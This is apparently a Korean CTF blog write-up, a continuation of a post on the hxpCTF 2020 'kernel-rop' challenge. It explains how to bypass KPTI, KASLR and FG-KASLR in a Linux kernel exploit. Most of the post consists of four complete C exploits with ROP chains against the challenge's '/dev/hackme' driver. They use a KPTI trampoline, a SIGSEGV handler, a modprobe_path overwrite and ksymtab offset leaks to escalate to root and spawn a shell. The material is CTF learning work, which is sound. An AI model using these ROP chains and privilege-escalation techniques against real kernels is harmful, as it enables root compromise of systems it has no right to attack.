지난 글(https://ssongkit.tistory.com/820)에 이어 남은 보호 기법인 KPTI, KASLR, FG-KASLR을 우회하는 방법을 배워보자.
1-1. Bypass KPTI: KPTI trampoline
KTPI를 우회하는 방법 3가지를 공부해보자. 첫 번째는 KPTI trampoline이라고 부르는 기술이다. 커널에 빌트인으로 존재하는 기능이기 때문에 주로 쓰인다고 한다. 심볼 이름은 "swapgs_restore_regs_and_return_to_usermode"이다. 다음과 같이 주소를 검색한 뒤 vmlinux로 확인해보면 다음과 같다.
/ # cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
pop을 엄청 많이 하는 코드가 있는데 이 부분은 중요하지 않으므로 swapgs_restore_regs_and_return_to_usermode + 22(0x14)부터 사용해주면 된다.
.text:FFFFFFFF81200F10 pop r15
.text:FFFFFFFF81200F12 pop r14
.text:FFFFFFFF81200F14 pop r13
.text:FFFFFFFF81200F16 pop r12
.text:FFFFFFFF81200F18 pop rbp
.text:FFFFFFFF81200F19 pop rbx
.text:FFFFFFFF81200F1A pop r11
.text:FFFFFFFF81200F1C pop r10
.text:FFFFFFFF81200F1E pop r9
.text:FFFFFFFF81200F20 pop r8
.text:FFFFFFFF81200F22 pop rax
.text:FFFFFFFF81200F23 pop rcx
.text:FFFFFFFF81200F24 pop rdx
.text:FFFFFFFF81200F25 pop rsi
.text:FFFFFFFF81200F26 mov rdi, rsp
.text:FFFFFFFF81200F29 mov rsp, qword ptr gs:unk_6004
.text:FFFFFFFF81200F32 push qword ptr [rdi+30h]
.text:FFFFFFFF81200F35 push qword ptr [rdi+28h]
.text:FFFFFFFF81200F38 push qword ptr [rdi+20h]
.text:FFFFFFFF81200F3B push qword ptr [rdi+18h]
.text:FFFFFFFF81200F3E push qword ptr [rdi+10h]
.text:FFFFFFFF81200F41 push qword ptr [rdi]
.text:FFFFFFFF81200F43 push rax
.text:FFFFFFFF81200F44 jmp short loc_FFFFFFFF81200F89
이후 swapgs와 iretq를 수행한다.
.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89: ; CODE XREF: sub_FFFFFFFF812010D0-18C↑j
.text:FFFFFFFF81200F89 pop rax
.text:FFFFFFFF81200F8A pop rdi
.text:FFFFFFFF81200F8B call cs:off_FFFFFFFF82040088
.text:FFFFFFFF81200F91 jmp cs:off_FFFFFFFF82040080
.text.native_swapgs:FFFFFFFF8146D4E0 sub_FFFFFFFF8146D4E0 proc near ; CODE XREF: sub_FFFFFFFF8100A540+E↑p
.text.native_swapgs:FFFFFFFF8146D4E0 ; sub_FFFFFFFF8100A570+17↑p ...
.text.native_swapgs:FFFFFFFF8146D4E0 push rbp
.text.native_swapgs:FFFFFFFF8146D4E1 mov rbp, rsp
.text.native_swapgs:FFFFFFFF8146D4E4 swapgs
.text.native_swapgs:FFFFFFFF8146D4E7 pop rbp
.text.native_swapgs:FFFFFFFF8146D4E8 retn
.text.native_swapgs:FFFFFFFF8146D4E8 sub_FFFFFFFF8146D4E0 endp
.text:FFFFFFFF81200FC0 test byte ptr [rsp+arg_18], 4
.text:FFFFFFFF81200FC5 jnz short loc_FFFFFFFF81200FC9
.text:FFFFFFFF81200FC7
.text:FFFFFFFF81200FC7 locret_FFFFFFFF81200FC7: ; CODE XREF: sub_FFFFFFFF81200FC0+BD↓j
.text:FFFFFFFF81200FC7 ; DATA XREF: sub_FFFFFFFF8100A930:loc_FFFFFFFF8100A9D0↑o ...
.text:FFFFFFFF81200FC7 iretq
이제 run.sh에서 KPTI를 적용시키고 우회할 수 있다.
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smap,+smep \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nokaslr kpti=1 quiet panic=1" \
-s
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t mov_rdi_rax_pop1 = 0xffffffff8100aedf;
uint64_t pop_rdi = 0xffffffff81006370;
uint64_t swapgs_pop1 = 0xffffffff8100a55f;
uint64_t iretq = 0xffffffff8100c0d9;
uint64_t kpti_trampoline = 0xffffffff81200f26;
void shell(){
system("/bin/sh");
}
int main(void) {
uint64_t leak[0x18];
uint64_t pay[0x28];
uint64_t canary;
uint64_t leak_addr;
int fd = open("/dev/hackme", O_RDWR);
printf("fd: %d\n",fd);
read(fd,leak,sizeof(leak));
canary = leak[0x10];
printf("canary: %llx\n",canary);
for(int i=0; i<sizeof(pay)/8; i++){
pay[i] = 0x4141414141414141;
}
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;");
uint64_t user_rip = (uint64_t) shell;
int idx = 0x10;
pay[idx++] = canary;
pay[idx++] = 0x0; // rbx
pay[idx++] = 0x0; // r12
pay[idx++] = 0x0; // rbp
pay[idx++] = pop_rdi; // ret
pay[idx++] = 0x0;
pay[idx++] = prepare_kernel_cred;
pay[idx++] = mov_rdi_rax_pop1;
pay[idx++] = 0x0;
pay[idx++] = commit_creds;
pay[idx++] = kpti_trampoline;
pay[idx++] = 0x0;
pay[idx++] = 0x0;
pay[idx++] = user_rip;
pay[idx++] = user_cs;
pay[idx++] = user_rflags;
pay[idx++] = user_sp;
pay[idx++] = user_ss;
for(int i = 0; i<sizeof(pay)/8; i++){
printf("0x%016llx\n",pay[i]);
}
write(fd,pay,sizeof(pay));
return 0;
}
1-2. Bypass KPTI: sigaction
두 번째 방법은 sigaction 구조체를 활용하는 것이다. SMAP & SMEP를 우회하는 익스플로잇 코드를 KPTI를 적용한 뒤 실행하면 접근할 수 없는 커널 페이지에 접근하면서 세그먼테이션 폴트가 발생한다. 이렇게 발생하는 SIGSEGV 신호를 처리하는 핸들러 함수를 등록할 수 있다. sigaction 구조체는 다음과 같다.
struct sigaction {
void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);
sigset_t sa_mask;
int sa_flags;
void (*sa_restorer)(void);
};
sigaction 함수는 다음과 같다. 탐지할 시그널과 동작할 sigaction 구조체를 등록하는 방식이다.
#include <signal.h>
int sigaction(int signum,
const struct sigaction *_Nullable restrict act,
struct sigaction *_Nullable restrict oldact);
두 번째 방법을 적용시킨 익스 코드는 다음과 같다. sigemptyset 함수는 등록된 시그널들을 초기화 시켜주는 역할을 한다. 레퍼런스에 있어서 써봤는데 없어도 문제 없이 쉘이 잘 따진다.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <signal.h>
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t mov_rdi_rax_pop1 = 0xffffffff8100aedf;
uint64_t pop_rdi = 0xffffffff81006370;
uint64_t swapgs_pop1 = 0xffffffff8100a55f;
uint64_t iretq = 0xffffffff8100c0d9;
void shell(){
system("/bin/sh");
}
int main(void) {
struct sigaction sigact;
sigact.sa_handler = shell;
sigemptyset(&sigact.sa_mask);
sigact.sa_flags = 0;
sigaction(SIGSEGV, &sigact, NULL);
uint64_t leak[0x30];
uint64_t pay[0x28];
uint64_t canary;
uint64_t leak_addr;
int fd = open("/dev/hackme", O_RDWR);
printf("fd: %d\n",fd);
read(fd,leak,sizeof(leak));
for(int i = 0; i<sizeof(leak)/8; i++){
printf("0x%016llx\n",leak[i]);
}
canary = leak[0x10];
printf("canary: %llx\n",canary);
for(int i=0; i<sizeof(pay)/8; i++){
pay[i] = 0x4141414141414141;
}
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;");
uint64_t user_rip = (uint64_t) shell;
int idx = 0x10;
pay[idx++] = canary;
pay[idx++] = 0x0; // rbx
pay[idx++] = 0x0; // r12
pay[idx++] = 0x0; // rbp
pay[idx++] = pop_rdi; // ret
pay[idx++] = 0x0;
pay[idx++] = prepare_kernel_cred;
pay[idx++] = mov_rdi_rax_pop1;
pay[idx++] = 0x0;
pay[idx++] = commit_creds;
pay[idx++] = swapgs_pop1;
pay[idx++] = 0x0;
pay[idx++] = iretq;
pay[idx++] = user_rip;
pay[idx++] = user_cs;
pay[idx++] = user_rflags;
pay[idx++] = user_sp;
pay[idx++] = user_ss;
write(fd,pay,sizeof(pay));
return 0;
}
1-3. Bypass KPTI: modprobe
세 번째 방법은 modprobe를 사용한다. modprobe는 원래 Rusty Russell이 작성한 Linux 프로그램으로 Linux 커널에 로드 가능한 커널 모듈을 추가하거나 커널에서 로드 가능한 커널 모듈을 제거하는 데 사용된다. 즉, Linux 커널에 새 모듈을 설치하거나 제거할 때 실행되는 프로그램이다. 해당 경로는 커널 전역 변수이며 기본값은 /sbin/modprobe이다.
/ # cat /proc/sys/kernel/modprobe
/sbin/modprobe
기본적으로 modprobe의 경로는 커널 자체의 modprobe_path 심볼 아래에 저장되며 쓰기 가능한 페이지에도 저장된다.
/ # cat /proc/kallsyms | grep modprobe_path
ffffffff82061820 D modprobe_path
만약 알 수 없는 파일 형식의 파일을 실행하면, modprobe_path에 경로가 저장된 프로그램이 실행된다. 정확히는 시스템에서 파일 시그니처(매직 헤더)을 알 수 없는 파일에 대해 execve()를 호출하면 다음의 과정을 거처 modprobe를 호출한다.
- do_execve()
- do_execveat_common()
- bprm_execve()
- exec_binprm()
- search_binary_handler()
- request_module()
- call_modprobe()
이 방법은 FG-KASLR에 영향을 받지 않기 때문에 강력하다고 한다. modprobe_path를 오버라이트하기 위해 다음과 같은 가젯들을 찾아준다.
$ cat gadget | grep -E "0xffffffff8100.* mov .*qword ptr.*\[(rax|rbx|rcx|rdx)\].*ret"
0xffffffff8100306d : mov qword ptr [rbx], rax ; pop rbx ; pop rbp ; ret
0xffffffff81007ffc : mov qword ptr [rcx], rax ; xor eax, eax ; nop ; nop ; nop ; ret
0xffffffff81007ffb : nop ; mov qword ptr [rcx], rax ; xor eax, eax ; nop ; nop ; nop ; ret
$ cat gadget | grep -E "0xffffffff8100.* pop rbx ; ret"
...
0xffffffff81006158 : pop rbx ; ret
...
$ cat gadget | grep -E "0xffffffff8100.* pop rax ; ret"
0xffffffff81004d11 : pop rax ; ret
0xffffffff81004d10 : pushfq ; pop rax ; ret
세 번째 방법을 적용한 익스플로잇 코드는 다음과 같다. nokaslr을 kaslr으로 바꿔서 해도 잘 된다.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <signal.h>
uint64_t user_cs, user_ss, user_rflags, user_sp;
void get_flag(){
system("echo '#!/bin/sh\ncp /dev/sda /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
system("cat /tmp/flag");
exit(0);
}
int main(void) {
uint64_t leak[0x30];
uint64_t pay[0x28];
uint64_t canary;
uint64_t leak_addr;
uint64_t linux_base;
int fd = open("/dev/hackme", O_RDWR);
printf("fd: %d\n",fd);
read(fd,leak,sizeof(leak));
leak_addr = leak[0x26];
linux_base = leak_addr - 0xa157;
printf("linux_base: %llx\n",linux_base);
uint64_t kpti_trampoline = linux_base + 0x200f10 + 22;
uint64_t modprobe_path = linux_base + 0x1061820;
uint64_t pop_rax = linux_base + 0x4d11;
uint64_t pop_rbx = linux_base + 0x6158;
uint64_t mov_rbxptr_rax_pop2 = linux_base + 0x306d;
canary = leak[0x10];
printf("canary: %llx\n",canary);
for(int i=0; i<sizeof(pay)/8; i++){
pay[i] = 0x4141414141414141;
}
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;");
uint64_t user_rip = (uint64_t) get_flag;
int idx = 0x10;
pay[idx++] = canary;
pay[idx++] = 0x0; // rbx
pay[idx++] = 0x0; // r12
pay[idx++] = 0x0; // rbp
pay[idx++] = pop_rax; // ret
pay[idx++] = 0x782f706d742f; // /tmp/x
pay[idx++] = pop_rbx;
pay[idx++] = modprobe_path;
pay[idx++] = mov_rbxptr_rax_pop2;
pay[idx++] = 0x0;
pay[idx++] = 0x0;
pay[idx++] = kpti_trampoline;
pay[idx++] = 0x0;
pay[idx++] = 0x0;
pay[idx++] = user_rip;
pay[idx++] = user_cs;
pay[idx++] = user_rflags;
pay[idx++] = user_sp;
pay[idx++] = user_ss;
write(fd,pay,sizeof(pay));
return 0;
}
2. Bypass KASLR & FG-KASLR
KASLR은 세그먼트별로 베이스 주소가 랜덤하게 부여되는 보호 기법이다. userland의 ASLR과 차이점은 적용되는 위치 커널이라는 것 뿐이다. userland에서 ASLR을 우회할 때 처럼 주소 하나를 릭해서 우회 가능하다. 하지만 이 문제에선 FG-KASLR이라는 보호기법이 적용되어 있다. FG-KASLR(Function Granular KASLR)은 KASLR의 발전된 형태라고 생각하면 된다. 함수 세분화라고 직역할 수 있는데, 영역 주소가 랜덤한 것에 더해 함수들이 무작위성을 가진다. 이 때, 함수들의 주소는 ksymtab 구조체로 관리된다. ksymtab 구조체는 3개의 멤버로 이루어져 있다. 이 중 value_offset이라는 값이 중요하다.
struct kernel_symbol {
int value_offset;
int name_offset;
int namespace_offset;
};
심볼에선 __ksymtab으로 시작하는 주소를 찾으면 된다. value_offset은 __ksymtab_prepare_kernel_cred에 저장된다.
/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff9fd2c250 T prepare_kernel_cred
ffffffffa078d4fc r __ksymtab_prepare_kernel_cred
ffffffffa07a09b2 r __kstrtab_prepare_kernel_cred
ffffffffa07a4d42 r __kstrtabns_prepare_kernel_cred
KPTI를 modprobe로 우회했을 때는 prepare_kernel_cred를 사용하지 않아서 신경 쓸 필요 없지만, prepare_kernel_cred를 사용하게 된다면 ksymtab에 있는 value_offset 값을 이용해 함수 주소를 계산해줘야 한다. 주소 계산은 value_offset 값을 커널 영역에서 가져온 다음 유저 영역에서 계산해주게 된다. 따라서 메모리의 값을 읽어서 가져오는 가젯이 필요하다.
$ cat gadget | grep -E "0xffffffff810.*mov r.*qword ptr.*ret"
...
0xffffffff81015a7f : mov rax, qword ptr [rax] ; pop rbp ; ret
...
최종 익스플로잇 코드는 다음과 같다. LPE에 필요한 2개 함수 주소를 구한 뒤 ret2usr를 수행하는 rop를 수행하는 코드다.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <signal.h>
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t kpti_trampoline;
uint64_t modprobe_path;
uint64_t prepare_kernel_cred;
uint64_t commit_creds;
uint64_t pop_rax;
uint64_t pop_rbx;
uint64_t pop_rdi;
uint64_t mov_rdi_rax_pop1;
uint64_t mov_rbxptr_rax_pop2;
uint64_t mov_rax_raxptr_pop1;
uint64_t linux_base;
uint64_t ksymtab_prepare_kernel_cred;
uint64_t ksymtab_commit_creds;
int fd;
uint64_t value_offset;
uint64_t leak[0x30];
uint64_t pay[0x28];
uint64_t canary;
uint64_t leak_addr;
void get_prepare_kernel_cred_offset(void);
void get_prepare_kernel_cred(void);
void get_commit_creds_offset(void);
void get_commit_creds(void);
void exploit(void);
void shell(){
system("/bin/sh");
}
void get_prepare_kernel_cred_offset(){
uint64_t user_rip = (uint64_t) get_prepare_kernel_cred;
int idx = 0x10;
pay[idx++] = canary;
pay[idx++] = 0x0; // rbx
pay[idx++] = 0x0; // r12
pay[idx++] = 0x0; // rbp
pay[idx++] = pop_rax; // ret
pay[idx++] = ksymtab_prepare_kernel_cred;
pay[idx++] = mov_rax_raxptr_pop1;
pay[idx++] = 0x0;
pay[idx++] = kpti_trampoline;
pay[idx++] = 0x0;
pay[idx++] = 0x0;
pay[idx++] = user_rip;
pay[idx++] = user_cs;
pay[idx++] = user_rflags;
pay[idx++] = user_sp;
pay[idx++] = user_ss;
write(fd,pay,sizeof(pay));
}
void get_prepare_kernel_cred(){
__asm__(
".intel_syntax noprefix;"
"mov value_offset, rax;"
".att_syntax;"
);
prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)value_offset;
printf("prepare_kernel_cred: %llx\n",prepare_kernel_cred);
get_commit_creds_offset();
}
void get_commit_creds_offset(){
uint64_t user_rip = (uint64_t) get_commit_creds;
int idx = 0x10;
pay[idx++] = canary;
pay[idx++] = 0x0; // rbx
pay[idx++] = 0x0; // r12
pay[idx++] = 0x0; // rbp
pay[idx++] = pop_rax; // ret
pay[idx++] = ksymtab_commit_creds;
pay[idx++] = mov_rax_raxptr_pop1;
pay[idx++] = 0x0;
pay[idx++] = kpti_trampoline;
pay[idx++] = 0x0;
pay[idx++] = 0x0;
pay[idx++] = user_rip;
pay[idx++] = user_cs;
pay[idx++] = user_rflags;
pay[idx++] = user_sp;
pay[idx++] = user_ss;
write(fd,pay,sizeof(pay));
}
void get_commit_creds(){
__asm__(
".intel_syntax noprefix;"
"mov value_offset, rax;"
".att_syntax;"
);
commit_creds = ksymtab_commit_creds + (int)value_offset;
printf("commit_creds: %llx\n",commit_creds);
exploit();
}
void exploit(){
uint64_t user_rip = (uint64_t) shell;
int idx = 0x10;
pay[idx++] = canary;
pay[idx++] = 0x0; // rbx
pay[idx++] = 0x0; // r12
pay[idx++] = 0x0; // rbp
pay[idx++] = pop_rdi; // ret
pay[idx++] = 0x0;
pay[idx++] = prepare_kernel_cred;
pay[idx++] = mov_rdi_rax_pop1;
pay[idx++] = 0x0;
pay[idx++] = commit_creds;
pay[idx++] = kpti_trampoline;
pay[idx++] = 0x0;
pay[idx++] = 0x0;
pay[idx++] = user_rip;
pay[idx++] = user_cs;
pay[idx++] = user_rflags;
pay[idx++] = user_sp;
pay[idx++] = user_ss;
write(fd,pay,sizeof(pay));
}
int main(void) {
fd = open("/dev/hackme", O_RDWR);
printf("fd: %d\n",fd);
read(fd,leak,sizeof(leak));
leak_addr = leak[0x26];
linux_base = leak_addr - 0xa157;
printf("linux_base: %llx\n",linux_base);
kpti_trampoline = linux_base + 0x200f10 + 22;
modprobe_path = linux_base + 0x1061820;
pop_rax = linux_base + 0x4d11;
pop_rbx = linux_base + 0x6158;
pop_rdi = linux_base + 0x6370;
mov_rdi_rax_pop1 = linux_base + 0xaedf;
mov_rbxptr_rax_pop2 = linux_base + 0x306d;
mov_rax_raxptr_pop1 = linux_base + 0x15a7f;
ksymtab_prepare_kernel_cred = linux_base + 0xf8d4fc;
ksymtab_commit_creds = linux_base + 0xf87d90;
canary = leak[0x10];
printf("canary: %llx\n",canary);
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;");
get_prepare_kernel_cred_offset();
return 0;
}
3. Conclusion
이렇게 다양한 보호 기법을 우회하는 문제에 대해 풀어봤다. 향후에는 힙과 관련된 CTF 문제와 실제 모듈에서 발생한 취약점들에 대한 CVE들에 대해 공부해보려 한다.
https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/
https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/
https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/
https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/
'CTF' 카테고리의 다른 글
ImaginaryCTF 2024 (Pwn) (5) | 2024.07.22 |
---|---|
DownUnderCTF 2024 (Pwn) (0) | 2024.07.08 |
[hxpCTF 2020] kernel-rop (with write-up) (1) (0) | 2024.06.22 |
BYUCTF 2024 (Pwn) (0) | 2024.05.19 |
TBTL CTF 2024 (Pwn) (0) | 2024.05.18 |